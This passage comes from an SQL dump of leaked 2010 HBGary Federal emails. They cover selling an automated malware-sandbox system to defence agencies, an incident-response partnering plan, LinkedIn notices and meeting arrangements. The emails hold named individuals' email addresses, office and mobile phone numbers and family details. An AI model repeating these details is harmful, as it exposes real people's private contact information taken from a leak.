·&gt;&gt; NSA ANO&gt;&gt;&gt;&gt; ·&gt;&gt; NSA Blue Team&gt;&gt;&gt;&gt; ·\r\n&gt;&gt; NSA Center for Assured Software&gt;&gt;&gt;&gt; ·&gt;&gt; DC3&gt;&gt;&gt;&gt; ·&gt;&gt; L-3&gt;&gt;&gt;&gt; ·&gt;&gt; Mantech&gt;&gt;&gt;&gt; ·&gt;&gt; Booz Allen Hamilton\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; There has been talk of HBG contracting HBG Fed to finish the&gt;&gt; Threat Management Center.  From the viewpoint of account management Iwant&gt;&gt; prospects to look at HBGary as their complete end-to-end malware\r\n&gt;&gt; solution.&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; My competition is mostly CWSandbox and is rarely Norman.&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Bob&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; No virus found in this incoming message.&gt; Checked by AVG - www.avg.com&gt; Version: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n&gt; 02:35:00&gt;&gt;No virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n02:35:00\r\n',2311,'aaron_hbgary_com/2311.html'),(7836,'2010-06-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006101.M628102P14101Q2692.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','China Bans Military Personnel From Blogging','That problematic.  We will see how long it lasts.China Bans Military Personnel From Blogging\r\neldavojohn writes &quot;China has banned all 2.3M members of its military from blogging — even personal, non-military blogs. From the announcement of the new regulation: &#39;Soldiers cannot open blogs on the Internet no matter (whether) he or she does it in the capacity of a soldier or not. The Internet is complicated and we should guard against online traps.&#39; While the official word seems to not be translated to English yet, the same apparently goes for websites or homepages owned by soldiers; there is no indication as to whether or not this applies to sites like Facebook or Renren (which the USMC bans). Similarly, as of 2007, the US requires active duty soldiers to clear any posting with a superior officer, and Israel had to cancel an operation due to a Facebook status update. A military blog aggregating site claims only a few Chinese military blogs indexed, but it looks like as of June 15 that list may have shortened.&quot;\r\n\r\n   \r\n      Read more of this story at Slashdot.\r\n\r\n\r\n\r\nSent from my iPad\r\n',14793,'aaron_hbgary_com/14793.html'),(7837,'2010-06-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006101.M78422P14101Q2690.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','Begin forwarded message:From: noreply@fbo.gov\r\nDate: June 26, 2010 2:21:51 AM MDTTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nSaturday, June 26, 2010, 04:18 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Cyber&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n    Title:                 R--Irregular Warfare Consolidated Support    Sol. #:                W911W510R0010    Agency:                Department of the Army\r\n    Office:                U.S. Army Intelligence and Security Command    Location:              National Ground Intelligence Center    Posted On:             Jun 25, 2010 4:59 pm\r\n    Base Type:             Presolicitation    Link:                  https://www.fbo.gov/spg/USA/INSCOM/DASC02/W911W510R0010/listing.html\r\n    -------------------------------------------------------\r\n',10293,'aaron_hbgary_com/10293.html'),(7838,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006101.M861840P14101Q2693.eml','\"Aaron Barr\" <adbarr@mac.com>','','Tmc sdk - source code.  One master and slave node.  All the plumbing.\r\n\r\nYworks\r\nSocial networks linked in to root kit.\r\n\r\n\r\n\r\nSent from my iPad\r\n',16507,'aaron_hbgary_com/16507.html'),(7839,'2010-06-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006102.M109261P14101Q2694.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','RE: Increasing, prospects are asking for automated sandbox analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nThe issue with selling TMC &#8220;as is&#8221; is that I cannot demonstrate\r\nit.&nbsp; Nobody is going to give us a purchase order without first seeing it\r\nworking end-to-end.&nbsp; They want to give it a binary and get a good report while\r\ndoing nothing I between.&nbsp; Therefore, no real sales activity will occur until we\r\ncan demo it.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, June 27, 2010 5:00 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\nSubject: Re: Increasing, prospects are asking for automated sandbox\r\nanalysis\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob, Team,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust to be clear, you can sell the TMC as-is.&nbsp; Ted and\r\nMark will add features or modify the system as billable time paid by the\r\ncustomer, per the customers desires - and of course this is up to HBGary\r\nFederal to bid based on what the customer wants.&nbsp; We are waiting for Penny\r\nto create the license agreement and agree on pricing.&nbsp; HBGary proper is\r\nnot blocking your ability to sell.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Sat, Jun 26, 2010 at 11:12 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nGreg et al,\r\n\r\nAttached is a TMC doc I wrote for NSA ANO. &nbsp;It describes my high level\r\nvision of TMC.\r\n\r\nHere are other features needed that are not in the doc.......\r\n\r\nA key place to focus development time is developing really useful high level\r\nreports. &nbsp;The problem with REcon currently is the user is overloaded with\r\nlow level granular data. &nbsp;We must summarize that data into a concise\r\nreport.\r\nIt seems that Responder has a report from REcon data, but it is never\r\nhighlighted in demos and it seems to get lost in the UI. &nbsp;My gut says we\r\nneed to focus on reporting.\r\n\r\nTo be an enterprise capable system, TMC should have a web interface so users\r\nfrom anywhere in the enterprise can submit one or more binary samples.\r\n\r\nTMC needs to be able to process pdf files as many prospects are concerned\r\nabout them. &nbsp;We may want to process other kinds of source docs, too.\r\n\r\nFuture features -- I am not advocating we do this now, but we should design\r\nnow with the possibility of adding future capabilities for &quot;active\r\nreversing&quot;. &nbsp;This would an automated system to reveal software\r\nclasses and\r\nstructures. &nbsp;The thought here is that TMC could morph into a general\r\nsoftware analysis system. &nbsp;Maybe it could create UML diagrams, find\r\nsecurity\r\ncoding flaws in software, or find malware inside of &quot;good&quot; software.\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n-----Original Message-----\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Saturday, June 26, 2010 1:28 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\nSubject: Re: Increasing, prospects are asking for automated sandbox analysis\r\n\r\nPenny will prepare a software license for the &quot;tmc sdk&quot; which will\r\ninclude one master node and one slave node. &nbsp;Hbgary federal will need\r\nto license that from hbgary proper for their own tmc. &nbsp;The &quot;tmc\r\nsdk&quot;\r\nwill contain an inventory of software components required to setup and\r\noperate a tmc. &nbsp;This will include ddna and recon, and various\r\n&quot;control\r\nand glue&quot; components, as well as a SQL backend and schema. &nbsp;A sample\r\nfront-end application will be provided with source code (this is known\r\nas the \'stalker\' example).\r\n\r\nWe need to draw up a more precise inventory of components and work out\r\nthe licensing. &nbsp;Penny will provide pricing based on a subscription\r\nmodel. &nbsp;Every additional slave node will require additional license\r\nfees to hbgary proper, penny to provide this. &nbsp;Keep in mind that the\r\ntmc includes other license fees as well, including vmware and\r\nms-windows.\r\n\r\nEvery tmc will be a custom development work that starts with a &quot;tmc\r\nsdk&quot; and is billed primarily from hbgary federal.\r\n\r\nOn Saturday, June 26, 2010, Bob Slapnik &lt;bob@hbgary.com&gt;\r\nwrote:\r\n&gt; Greg,\r\n&gt;\r\n&gt; My impression is that most customers will want their own system in-house,\r\n&gt; especially gov\'t and gov\'t contractors. &nbsp;I see the sale price being a\r\n&gt; sliding scale based on how many processing &quot;slaves&quot; are\r\nrequired.\r\n&gt;\r\n&gt; Bob\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Greg Hoglund [mailto:greg@hbgary.com]\r\n&gt; Sent: Saturday, June 26, 2010 10:54 AM\r\n&gt; To: Bob Slapnik\r\n&gt; Cc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\n&gt; Subject: Re: Increasing, prospects are asking for automated sandbox\r\nanalysis\r\n&gt;\r\n&gt; How much will they pay for access to the tmc?\r\n&gt;\r\n&gt; Or, do they want it on-site / private ?\r\n&gt;\r\n&gt; -Greg\r\n&gt;\r\n&gt;\r\n&gt; On Friday, June 25, 2010, Bob Slapnik &lt;bob@hbgary.com&gt;\r\nwrote:\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Maria said US-CERT is also\r\n&gt;&gt; interested in TMC.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; From: Bob Slapnik\r\n&gt;&gt; [mailto:bob@hbgary.com]\r\n&gt;&gt; Sent: Friday, June 25, 2010 11:03 AM\r\n&gt;&gt; To: \'Penny Leavy-Hoglund\'; \'Greg Hoglund\'; \'Rich Cummings\'; \'Aaron\r\n&gt;&gt; Barr\'; \'Ted Vera\'\r\n&gt;&gt; Subject: Increasing, prospects are asking for automated sandbox\r\nanalysis\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Penny, Greg, Aaron, Ted and Rich,\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; I am getting new requests for automated sandbox malware\r\n&gt;&gt; analysis.&nbsp; Here are the list of organizations who have asked for\r\nit:\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; &middot;\r\n&gt;&gt; NSA ANO\r\n&gt;&gt;\r\n&gt;&gt; &middot;\r\n&gt;&gt; NSA Blue Team\r\n&gt;&gt;\r\n&gt;&gt; &middot;\r\n&gt;&gt; NSA Center for Assured Software\r\n&gt;&gt;\r\n&gt;&gt; &middot;\r\n&gt;&gt; DC3\r\n&gt;&gt;\r\n&gt;&gt; &middot;\r\n&gt;&gt; L-3\r\n&gt;&gt;\r\n&gt;&gt; &middot;\r\n&gt;&gt; Mantech\r\n&gt;&gt;\r\n&gt;&gt; &middot;\r\n&gt;&gt; Booz Allen Hamilton\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; There has been talk of HBG contracting HBG Fed to finish the\r\n&gt;&gt; Threat Management Center.&nbsp; From the viewpoint of account\r\nmanagement I\r\nwant\r\n&gt;&gt; prospects to look at HBGary as their complete end-to-end malware\r\n&gt;&gt; solution.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; My competition is mostly CWSandbox and is rarely Norman.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Bob\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt; No virus found in this incoming message.\r\n&gt; Checked by AVG - www.avg.com\r\n&gt; Version: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n&gt; 02:35:00\r\n&gt;\r\n&gt;\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/27/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2846,'aaron_hbgary_com/2846.html'),(7840,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006102.M365274P14101Q2695.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Increasing, prospects are asking for automated sandbox analysis','Bob,Let&#39;s talk in the morning.  I think there is a path to what your talking about.AaronFrom my iPhoneOn Jun 27, 2010, at 10:06 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n \r\n\r\nThe issue with selling TMC “as is” is that I cannot demonstrate\r\nit.  Nobody is going to give us a purchase order without first seeing it\r\nworking end-to-end.  They want to give it a binary and get a good report while\r\ndoing nothing I between.  Therefore, no real sales activity will occur until we\r\ncan demo it.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, June 27, 2010 5:00 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\nSubject: Re: Increasing, prospects are asking for automated sandbox\r\nanalysis\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBob, Team,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust to be clear, you can sell the TMC as-is.  Ted and\r\nMark will add features or modify the system as billable time paid by the\r\ncustomer, per the customers desires - and of course this is up to HBGary\r\nFederal to bid based on what the customer wants.  We are waiting for Penny\r\nto create the license agreement and agree on pricing.  HBGary proper is\r\nnot blocking your ability to sell.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Sat, Jun 26, 2010 at 11:12 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nGreg et al,\r\n\r\nAttached is a TMC doc I wrote for NSA ANO.  It describes my high level\r\nvision of TMC.\r\n\r\nHere are other features needed that are not in the doc.......\r\n\r\nA key place to focus development time is developing really useful high level\r\nreports.  The problem with REcon currently is the user is overloaded with\r\nlow level granular data.  We must summarize that data into a concise\r\nreport.\r\nIt seems that Responder has a report from REcon data, but it is never\r\nhighlighted in demos and it seems to get lost in the UI.  My gut says we\r\nneed to focus on reporting.\r\n\r\nTo be an enterprise capable system, TMC should have a web interface so users\r\nfrom anywhere in the enterprise can submit one or more binary samples.\r\n\r\nTMC needs to be able to process pdf files as many prospects are concerned\r\nabout them.  We may want to process other kinds of source docs, too.\r\n\r\nFuture features -- I am not advocating we do this now, but we should design\r\nnow with the possibility of adding future capabilities for &quot;active\r\nreversing&quot;.  This would an automated system to reveal software\r\nclasses and\r\nstructures.  The thought here is that TMC could morph into a general\r\nsoftware analysis system.  Maybe it could create UML diagrams, find\r\nsecurity\r\ncoding flaws in software, or find malware inside of &quot;good&quot; software.\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n-----Original Message-----\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Saturday, June 26, 2010 1:28 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\nSubject: Re: Increasing, prospects are asking for automated sandbox analysis\r\n\r\nPenny will prepare a software license for the &quot;tmc sdk&quot; which will\r\ninclude one master node and one slave node.  Hbgary federal will need\r\nto license that from hbgary proper for their own tmc.  The &quot;tmc\r\nsdk&quot;\r\nwill contain an inventory of software components required to setup and\r\noperate a tmc.  This will include ddna and recon, and various\r\n&quot;control\r\nand glue&quot; components, as well as a SQL backend and schema.  A sample\r\nfront-end application will be provided with source code (this is known\r\nas the &#39;stalker&#39; example).\r\n\r\nWe need to draw up a more precise inventory of components and work out\r\nthe licensing.  Penny will provide pricing based on a subscription\r\nmodel.  Every additional slave node will require additional license\r\nfees to hbgary proper, penny to provide this.  Keep in mind that the\r\ntmc includes other license fees as well, including vmware and\r\nms-windows.\r\n\r\nEvery tmc will be a custom development work that starts with a &quot;tmc\r\nsdk&quot; and is billed primarily from hbgary federal.\r\n\r\nOn Saturday, June 26, 2010, Bob Slapnik &lt;bob@hbgary.com&gt;\r\nwrote:\r\n&gt; Greg,\r\n&gt;\r\n&gt; My impression is that most customers will want their own system in-house,\r\n&gt; especially gov&#39;t and gov&#39;t contractors.  I see the sale price being a\r\n&gt; sliding scale based on how many processing &quot;slaves&quot; are\r\nrequired.\r\n&gt;\r\n&gt; Bob\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Greg Hoglund [mailto:greg@hbgary.com]\r\n&gt; Sent: Saturday, June 26, 2010 10:54 AM\r\n&gt; To: Bob Slapnik\r\n&gt; Cc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\n&gt; Subject: Re: Increasing, prospects are asking for automated sandbox\r\nanalysis\r\n&gt;\r\n&gt; How much will they pay for access to the tmc?\r\n&gt;\r\n&gt; Or, do they want it on-site / private ?\r\n&gt;\r\n&gt; -Greg\r\n&gt;\r\n&gt;\r\n&gt; On Friday, June 25, 2010, Bob Slapnik &lt;bob@hbgary.com&gt;\r\nwrote:\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Maria said US-CERT is also\r\n&gt;&gt; interested in TMC.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; From: Bob Slapnik\r\n&gt;&gt; [mailto:bob@hbgary.com]\r\n&gt;&gt; Sent: Friday, June 25, 2010 11:03 AM\r\n&gt;&gt; To: &#39;Penny Leavy-Hoglund&#39;; &#39;Greg Hoglund&#39;; &#39;Rich Cummings&#39;; &#39;Aaron\r\n&gt;&gt; Barr&#39;; &#39;Ted Vera&#39;\r\n&gt;&gt; Subject: Increasing, prospects are asking for automated sandbox\r\nanalysis\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Penny, Greg, Aaron, Ted and Rich,\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; I am getting new requests for automated sandbox malware\r\n&gt;&gt; analysis.  Here are the list of organizations who have asked for\r\nit:\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; ·\r\n&gt;&gt; NSA ANO\r\n&gt;&gt;\r\n&gt;&gt; ·\r\n&gt;&gt; NSA Blue Team\r\n&gt;&gt;\r\n&gt;&gt; ·\r\n&gt;&gt; NSA Center for Assured Software\r\n&gt;&gt;\r\n&gt;&gt; ·\r\n&gt;&gt; DC3\r\n&gt;&gt;\r\n&gt;&gt; ·\r\n&gt;&gt; L-3\r\n&gt;&gt;\r\n&gt;&gt; ·\r\n&gt;&gt; Mantech\r\n&gt;&gt;\r\n&gt;&gt; ·\r\n&gt;&gt; Booz Allen Hamilton\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; There has been talk of HBG contracting HBG Fed to finish the\r\n&gt;&gt; Threat Management Center.  From the viewpoint of account\r\nmanagement I\r\nwant\r\n&gt;&gt; prospects to look at HBGary as their complete end-to-end malware\r\n&gt;&gt; solution.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; My competition is mostly CWSandbox and is rarely Norman.\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; Bob\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt; No virus found in this incoming message.\r\n&gt; Checked by AVG - www.avg.com\r\n&gt; Version: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n&gt; 02:35:00\r\n&gt;\r\n&gt;\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/27/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10197,'aaron_hbgary_com/10197.html'),(7841,'2010-06-28','\"Michael G. Spohn\" <mike@hbgary.com>','/aaron@hbgary.com/new/1297006102.M584719P14101Q2696.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: IR','\r\n\r\n\r\n  \r\n\r\n\r\nAaron,\r\n\r\nI am sorry for being so erratic on my responses. If you have been\r\ncalling my office phone - I do not have on set up yet.\r\nCall me on my cell if you need to get a hold of me.\r\n\r\nI am very interested in collaborating on IR strategies. I will call you.\r\n\r\nMGS\r\n\r\nOn 6/7/2010 5:26 PM, Aaron Barr wrote:\r\n\r\n  Hi Mike,\r\n\r\nWhat is your schedule like for the next few days.  I would like to find a time to talk a little about IR and what we are trying to put together, get your take on it.\r\n\r\nIn a nutshell we are teaming with HBGary, Fidelis, and EndGames to provide host, Network, and C&amp;C capabilities.  The structure would go something like this.\r\n\r\nPrior to an engagement run an EGS query against the customer or potential customers netblock to get historical compromises.  Take those listed as compromised and do some open source as well as nmap scans to complete the initial analysis.  Load the Fidelis and HBGary technology with the listed compromised IPs for initial analysis, work with staff to identify resolve NAT IPs associated with public IPs at that time.  During the engagement deploy Fidelis XPS appliance for network discovery, session reconstruction, and traffic analysis.  Deploy AD for host analysis.  Use the data from Fidelis to help drive host analysis, use host analysis to help drive broader network analysis.\r\n\r\nIn the end this entire suite can be configured as leave behind technology and either managed by the customer IT staff or as a managed service.  Continual analysis and exchange of information between EGS, Fidelis, and HBGary technology.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n\r\n\r\n-- \r\n\r\n\r\nMichael\r\nG. Spohn | Director &#8211; Security Services | HBGary, Inc.\r\nOffice\r\n916-459-4727\r\nx124\r\n| Mobile 949-370-7769 | Fax 916-481-1460\r\nmike@hbgary.com | www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n',684,'aaron_hbgary_com/684.html'),(7842,'2010-06-28','\"J.R. Reagan\" <jreagan@deloitte.com>','/aaron@hbgary.com/new/1297006102.M854595P14101Q2697.eml','\"Aaron Barr\" <aaron@hbgary.com>','J.R. Reagan wants to connect on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n      J.R. Reagan requested to add you as a connection on LinkedIn:\r\n  \r\n    As a fellow member of the 4x24 group I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- J.R. Reagan\r\n  \r\n  \r\n  &nbsp;\r\n   \r\n  \r\n    \r\n        \r\n          Accept\r\n        \r\n         \r\n              View invitation from J.R. Reagan\r\n        \r\n    \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  WHY MIGHT CONNECTING WITH J.R. REAGAN BE A GOOD IDEA?\r\n  J.R. Reagan\'s connections could be useful to you After accepting J.R. Reagan\'s invitation, check J.R. Reagan\'s connections to see who else you may know and who you might want an introduction to. Building these connections can create opportunities in the future.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',13457,'aaron_hbgary_com/13457.html'),(7843,'2010-06-28','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006103.M119142P14101Q2698.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: hbgary','Aaron,\r\n\r\nCan you do wednesday evening in reston town center?\r\n\r\nWife and kids have the suv headed to NC tuesday evening.\r\n\r\nDave\r\n\r\n--------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOffice of the Secretary of Defense\r\n703.699.3568\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Merritt, David CTR OSD CIO\r\nSent: Wed Jun 23 18:45:47 2010\nSubject: Re: hbgary\r\n\r\nOk.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> It would be somewhere around 7...\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, June 22, 2010 9:30 PM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: hbgary\r\n>\r\n> Dave,\r\n>\r\n> I forgot to send you Greg\'s presentation.\r\n>\r\n> Do you have time to grab a drink after work on Friday?\r\n>\r\n> Aaron\r\n>\r\n',11080,'aaron_hbgary_com/11080.html'),(7844,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006103.M340975P14101Q2699.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: hbgary','Sure sounds good.  A particular place you like?\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 8:51 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Can you do wednesday evening in reston town center?\r\n>\r\n> Wife and kids have the suv headed to NC tuesday evening.\r\n>\r\n> Dave\r\n>\r\n> --------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> Office of the Secretary of Defense\r\n> 703.699.3568\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Merritt, David CTR OSD CIO\r\n> Sent: Wed Jun 23 18:45:47 2010\r\n> Subject: Re: hbgary\r\n>\r\n> Ok.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n>\r\n>> It would be somewhere around 7...\r\n>>\r\n>> Dave\r\n>> -----------------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> OSD CIO IA\r\n>> 703-697-2051 :desk\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, June 22, 2010 9:30 PM\r\n>> To: Merritt, David CTR OSD CIO\r\n>> Subject: Re: hbgary\r\n>>\r\n>> Dave,\r\n>>\r\n>> I forgot to send you Greg\'s presentation.\r\n>>\r\n>> Do you have time to grab a drink after work on Friday?\r\n>>\r\n>> Aaron\r\n>>\r\n',15937,'aaron_hbgary_com/15937.html'),(7845,'2010-06-28','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297006103.M564382P14101Q2700.eml','\"Aaron Barr\" <aaron@hbgary.com>','Dennis Mccallam has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Dennis are now connected.\r\n\r\n \r\n   \r\n   View Dennis\'s profile to:\r\n     \r\n       Download Dennis\'s current contact information\r\n       Write a recommendation for Dennis\r\n       Find opportunities through Dennis\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/-nennfn-gazcsgoj-1m/fpf/12047476/EML-inv-acc-prof/ Thank you for 